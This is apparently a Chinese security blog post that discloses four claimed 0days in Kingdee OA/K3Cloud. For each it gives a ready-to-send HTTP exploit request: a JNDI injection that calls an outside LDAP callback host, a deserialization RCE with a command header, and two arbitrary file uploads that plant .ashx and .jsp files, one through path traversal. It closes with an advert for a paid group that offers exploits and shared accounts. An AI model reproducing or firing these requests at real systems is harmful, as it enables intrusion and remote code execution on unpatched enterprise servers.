文章总结： 文章披露金蝶OA（K3Cloud）存在4处0day：ApusicloadTree接口JNDI注入、UserService反序列化RCE、ScpSupRegHandler与uploadLogo.action任意文件上传，均给出可直接利用的HTTP请求POC，影响私有化部署的SpringBoot+MyBatis架构系统，建议立即限制对应接口访问并升级补丁。 综合评分： 92 文章分类： 漏洞分析,漏洞POC,WEB安全,应用安全,应急响应
【0day】金蝶OA
原创
SharkSec
SharkSec
2026年1月4日 18:18 湖南
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【声明】本文所有POC仅用于合法安全测试，严禁在未获得明确授权的情况下对任何系统进行测试。擅自测试所引发的一切后果，由操作者自行承担全部法律责任，作者及团队不承担任何连带责任。
引 言
金蝶 OA（K3Cloud 协同平台）是一套基于 SpringBoot + MyBatis 技术栈的企业级 ERP 协同系统，支持 MySQL、Oracle 等多数据库私有化部署。其本地安装包解压后，bin、WebSite\BPMServices、ManageSite 三个目录即构成完整的 Java Web 应用：前者存放核心业务 jar，后者提供 REST 与 BPM 接口，统一由 Apusic 或 Tomcat 容器加载。近期通过在本地搭建环境进行审计，确认一处存在漏洞（文末附POC），仅供安全研究与学习参考。请务必在合法授权范围内进行测试，遵守法律法规。
1
金蝶Apusic应用服务器loadTree-JNDI注入
POST /appmonitor/protect/jndi/loadTree HTTP/1.1Host: Cache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflate, brAccept-Language: zh-CN,zh;q=0.9Connection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 55jndiName=ldap://{{interactsh-url}}/Basic/Command/calc
2
金蝶反序列化远程代码执行
POST /K3Cloud/Kingdee.BOS.ServiceFacade.ServicesStub.User.UserService.SaveUserPassport.common.kdsvc?dcInfo=11 HTTP/1.1Host: User-Agent: Mozilla/5.0 (Windows NT 11.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.5520.225 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateConnection: closeCookie: ASP.NET_SessionId=41t5f11hkfhru5h5bc5wox3p; Theme=standard; kdservice-sessionid=13390743-9d17-4d4f-a6a9-a58582831195Upgrade-Insecure-Requests: 1cmd: tasklistsec-ch-ua-platform: "Windows"sec-ch-ua: "Google Chrome";v="111", "Chromium";v="111", "Not=A?Brand";v="24"sec-ch-ua-mobile: ?0Content-Type: text/jsonContent-Length: 15916
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3
金蝶 ScpSupRegHandler 任意文件上传
POST /k3cloud/SRM/ScpSupRegHandler HTTP/1.1Host: Accept-Encoding: identityContent-Length: 973Accept-Language: zh-CN,zh;q=0.8Accept: */*Cache-Control: max-age=0Content-Type: multipart/form-data; boundary=2ac719f8e29343df94aa4ab49e456061--2ac719f8e29343df94aa4ab49e456061Content-Disposition: form-data; name="dbId_v".--2ac719f8e29343df94aa4ab49e456061Content-Disposition: form-data; name="FID"2022--2ac719f8e29343df94aa4ab49e456061Content-Disposition: form-data; name="FAtt"; filename="../../../../uploadfiles/test.ashx."Content-Type: text/plain<%@ WebHandler Language="C#" Class="TestHandler" %> using System; using System.Web; public class TestHandler : IHttpHandler { public void ProcessRequest (HttpContext context) { context.Response.ContentType= "text/plain"; context.Response.Write("Test"); } public bool IsReusable { get {return false; } } }--2ac719f8e29343df94aa4ab49e456061--
4
金蝶uploadLogo.action 任意文件上传
POST /plt_portal/setting/uploadLogo.action HTTP/1.1Host: User-Agent: Mozilla/4.0 (Mozilla/4.0; MSIE 7.0; Windows NT 5.1; FDM; SV1; .NET CLR 3.0.04506.30)Accept-Encoding: gzip, deflateAccept: */*Connection: closeX-Forwarded-For: Content-Length: 632Content-Type: multipart/form-data; boundary=04844569c7ca7d21a3ca115dca477d62--04844569c7ca7d21a3ca115dca477d62Content-Disposition: form-data; name="chooseLanguage_top"; filename="chooseLanguage_top"ch--04844569c7ca7d21a3ca115dca477d62Content-Disposition: form-data; name="dataCenter"; filename="dataCenter"xx--04844569c7ca7d21a3ca115dca477d62Content-Disposition: form-data; name="insId"; filename="insId"--04844569c7ca7d21a3ca115dca477d62Content-Disposition: form-data; name="type"; filename="type"top--04844569c7ca7d21a3ca115dca477d62Content-Disposition: form-data; name="upload"; filename="test.jsp"Content-Type: image/pngtest--04844569c7ca7d21a3ca115dca477d62--
5
0day–任意文件上传
关于本次0day的漏洞分析，后续将整理上传至纷传上，感兴趣的师傅，可以直接在纷传中获取。
如果大家对我们的文章技术有什么建议或者工具使用上的反馈，都欢迎大家在评论区留言交流。对我们分享的文章感兴趣，想要深入探讨、交流并学习更多相关内容，也欢迎各位师傅加入官方技术交流群!!!（关注公众号，点击菜单栏：联系我们->技术交流群，添加管理员微信，备注【加群】，拉您进群）
加入圈子，一起进阶！
我们圈子已平稳运营一段时间啦，后续也会持续为大家输送高质量的实战资源：有一线团队的一手攻防经验、私有工具源码（包括咱们公众号发的工具，圈子里能直接拿源码 + 持续迭代），还有漏洞挖掘的 POC/EXP、每月不定期 0day 分享，hw实战攻防遇见高频oa/设备源码都能在这拿到。
对了，圈子里还有些「刚需资源」：FOFA 的 Key 长期能用，Cursor Pro 共享账号登了就能用； 企业 SRC 案例、红队实战经验也会拆解着讲。
现在圈子现价 119 / 人，等满 100 人就涨到 129 了 —— 入了圈子还能进专属内部群，比咱们公开交流群的资源更新更实时、讨论也更深度。
纷传和知识星球内容是同步的，后期主要运营纷传，所以想进圈子的朋友直接扫描下方二维码就可以啦~
结束
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